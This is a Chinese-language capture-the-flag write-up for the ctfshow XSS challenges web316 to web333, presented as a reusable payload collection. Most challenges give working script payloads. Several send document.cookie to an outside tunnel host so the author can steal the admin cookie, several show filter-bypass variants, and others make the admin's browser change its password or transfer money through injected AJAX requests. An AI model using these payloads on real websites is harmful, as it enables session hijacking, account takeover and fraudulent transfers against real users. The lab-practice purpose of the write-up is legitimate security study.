ctfshow-XSS-刷题记录
其实XSS有很多语句的的,如果做题的时候被过滤了的话,可以在这篇文章下找,这篇文章就为了用来记录xss的payload的
XSS漏洞常见类型 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面;(需要别人去点击自己伪造的链接) 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板、注册等页面;(管理员访问的时候就会自动执行) DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前段代码输出的时候产生的问题,一次性,也属于反射型。
web316(反射型)
这里由于懒得花钱去搞vps(当然也没去学咋搞…)所以这里就用一个内网渗透的工具去搞(cpolar)
具体怎么用可以自己去网上去找,很简单的 点击这里,这篇文章可以教你如何操作
需要部署在本地的php代码
1 |
|
作用:就是接收get传递进来的参数,并写在flag.txt里
因为我这里的php代码是放在phpstudy的www目录下,到时候直接去www目录下看就好了。
payload
1 | <script>window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie</script> |
这里生成的网址的话,cpolar会自己给你随机生成的,到时候自己进行更换就好了。
web317
题目
过滤了script
payload
1 | <body onload="window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie"> |
web318
题目
过滤了img
payload
1 | <body onload="window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie"> |
web319
题目
payload
1 | <body onload="window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie"> |
web320-326
题目
这都过滤了空格
payload
1 | <body/onload="window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie"> |
web327(存储型)
题目
收件人必须填admin,其他的可以随便填
payload
1 | <body/onload="window.location.href='http://77c9e44.r8.cpolar.top/1.php?c='+document.cookie"> |
web328
源码
这个题比较绕,解法是先进行页面注册,把js代码注入后台,然后管理员访问的时候,就会触发js代码,把管理员的cookie返回到我们本地.
(这里就是利用注册的时候注册js代码,等管理员访问的时候就会触发代码,然后返回管理员的cookie)
这里的话用不了
我们换成
payload
1 | <script>window.location.href='http://33d37750.r7.cpolar.top/1.php?c='+document.cookie</script> |
拿到了管理员的cookie值,那么我们进行抓包查看,因为我们单纯修改cookie的话,第一个页面会默认我们不是管理员,看不了flag,所以我们要抓另一个包。
成功拿到flag,抓包的时候要记得放掉第一个包,得抓第二个。
web329
题目
这道题的话是管理员cookie会一直在变,那么我们就不能利用管理员cookie登录了,那么我们就得换一个方法了。
拿到了存贮这个类的页面
那么我们就可以去遍历了,(这里利用的是前端的语句,我也不太会,没学过)
1 | JS indexof 方法https://www.w3school.com.cn/jsref/jsref_indexOf.asp |
payload
1 | <script> |
最后将上面的payload进行注册登录就能拿到flag了(这里是利用前端的语句来获取的)
web330(GET)
题目
这个多了个修改密码的功能(那肯定是拿这个修改密码来做文章了)
这里的思路是同过给管理员账户修改密码,然后通过新修改的密码登录管理员账户,然后拿到flag就ok了。
但是这里在哪触发script就很迷,经过测试,发现在用户名这里可以进行触发。
payload
1 | <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script> |
这里的127.0.0.1是管理员的账户,后面的/api/change.php?p=123
是修改密码时的页面,可以自己去抓个包看看。(这里就是把管理员的密码给修改为123)
这里查看用户管理的时候要进行抓包查看,因为这个会一闪而过,看不了。
web331(POST)
题目
还是这样子(还是通过修改管理员的密码这个方法来进行获取flag)
但是这里改成POST提交了,我们得换一下paylaod
payload
1 | <script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script> |
web332(GET)
题目
新增加了几个功能
思路
就是利用这里面的逻辑漏洞,就是想管理员账号转账-10000,然后自己就会加钱,转正的会减钱,可以自己去尝试。
然后转账成功就去买flag就行了。
web333(POST)
题目
这道题的话就不能去进行转账负金额了,(同时这里也修改成了POST)
解法一
这里的话是通过注册一个账号,然后给自己转账,只要金额不超过自身拥有的就行,那么我们的存款就可以增加,然后就可以买到flag了。
解法二
post包的内容变了,那么我们就去修改一下payload
payload
1 | <script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'123',a:'10000'}});</script> |
u是转账的账户名 a是转账的金额
思路
(这道题的解法是通过管理员给自己转账,就是先自己注册一个账户,然后修改payload,把自己的用户名和需要转的金额加进去,然后在拿去注册,然后等管理员去访问管理页面,js代码就会执行,然后就会像我们自己的账户转钱,那么我们就登录我们自己的账户就可以看到转来的钱了,然后在拿去买flag就行了)
到此,xss搞一段落了
(其实还有很多XSS的框架没用到,以后做题的时候可以出搜来用用)